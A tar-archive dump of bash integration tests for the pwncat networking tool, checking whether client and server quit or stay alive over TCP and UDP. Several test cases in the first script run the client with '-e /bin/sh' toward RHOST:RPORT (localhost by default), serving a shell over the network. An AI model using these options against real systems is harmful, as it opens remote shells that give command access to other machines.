"${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/5) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(3/5) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Client stays alive # -------------------------------------------------------------------------------- print_h2 "(4/5) Test: Client stays alive" run "sleep 2" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client is still running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # STOP: Client # -------------------------------------------------------------------------------- print_h2 "(5/5) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv --udp-sconnect --udp-sconnect-word" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u " "16" "16" "${curr_round}" "${RUNS}" done 200---tcp---client_stays---when_valid_http_request.sh000077500000000000000000000074371414025024700346270ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/01-behaviour-quit--client#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="www.google.com" RPORT="80" #STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local cli_opts="${1// / }" local curr_mutation="${2}" local total_mutation="${3}" local curr_round="${4}" local total_round="${5}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (cli '${cli_opts}')" ### ### Create data and files ### data="$(tmp_file)" printf "HEAD / HTTP/1.1\\n\\n" > "${data}" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(2/4) Transfer: Client -> Google -> Client" # [CLIENT] -> [GOOGLE] -> CLIENT] wait_for_data_transferred "^Set-Cookie:" "" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Client stays alive # -------------------------------------------------------------------------------- print_h2 "(3/4) Test: Client stays alive" run "sleep 2" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client is still running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: Client # -------------------------------------------------------------------------------- print_h2 "(4/4) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do run_test "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "2" "${curr_round}" "${RUNS}" run_test "${RHOST} ${RPORT} --no-shutdown " "2" "2" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -vvv " "2" "5" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -vv " "3" "5" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -v " "4" "5" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown " "5" "5" "${curr_round}" "${RUNS}" done 201---tcp---client_quites---when_invalid_http_request.sh000077500000000000000000000065311414025024700353200ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/01-behaviour-quit--client#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="www.google.com" RPORT="80" #STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local cli_opts="${1// / }" local curr_mutation="${2}" local total_mutation="${3}" local curr_round="${4}" local total_round="${5}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (cli '${cli_opts}')" ### ### Create data and files ### data="$(tmp_file)" printf "HEAD /\\n\\n" > "${data}" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(1/3) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(2/3) Transfer: Client -> Google -> Client" # [CLIENT] -> [GOOGLE] -> CLIENT] wait_for_data_transferred "Bad Request" "" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Client shut down automatically # -------------------------------------------------------------------------------- print_h2 "(3/3) Test: Client shut down automatically" # [CLIENT] Ensure Client has quit automatically test_case_instance_is_stopped "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do run_test "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "2" "${curr_round}" "${RUNS}" run_test "${RHOST} ${RPORT} --no-shutdown " "2" "2" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -vvv " "2" "5" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -vv " "3" "5" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -v " "4" "5" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown " "5" "5" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/01-behaviour-quit--client/README.md000066400000000000000000000002631414025024700244650ustar00rootroot00000000000000# Client quit behaviour These tests ensure the client 1. quits automatically in TCP mode 2. stays alive in UDP mode for various different scenarious when the server is killed. pwncat-0.1.2/tests/integration/02-behaviour-quit--server/000077500000000000000000000000001414025024700232365ustar00rootroot00000000000000000---tcp---server_quits---when_client_is_killed---server_default---before_send.sh000077500000000000000000000157171414025024700420440ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/02-behaviour-quit--server#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" #local data= #local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### #data="abcdefghijklmnopqrstuvwxyz1234567890\\n" #data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(3/4) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Server shut down automatically # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Server shut down automatically" # [SERVER] Ensure Server has quit automatically test_case_instance_is_stopped "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "16" "16" "${curr_round}" "${RUNS}" done 001---tcp---server_quits---when_client_is_killed---server_default---after_client_sent_data.sh000077500000000000000000000165711414025024700442520ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/02-behaviour-quit--server#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/5) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/5) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/5) Transfer: Client -> Server" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}" "${data_or}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(4/5) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Server shut down automatically # -------------------------------------------------------------------------------- print_h2 "(5/5) Test: Server shut down automatically" # [SERVER] Ensure Server has quit automatically test_case_instance_is_stopped "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "16" "16" "${curr_round}" "${RUNS}" done 002---tcp---server_quits---when_client_is_killed---server_default---after_server_sent_data.sh000077500000000000000000000165711414025024700443030ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/02-behaviour-quit--server#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/5) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/5) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" 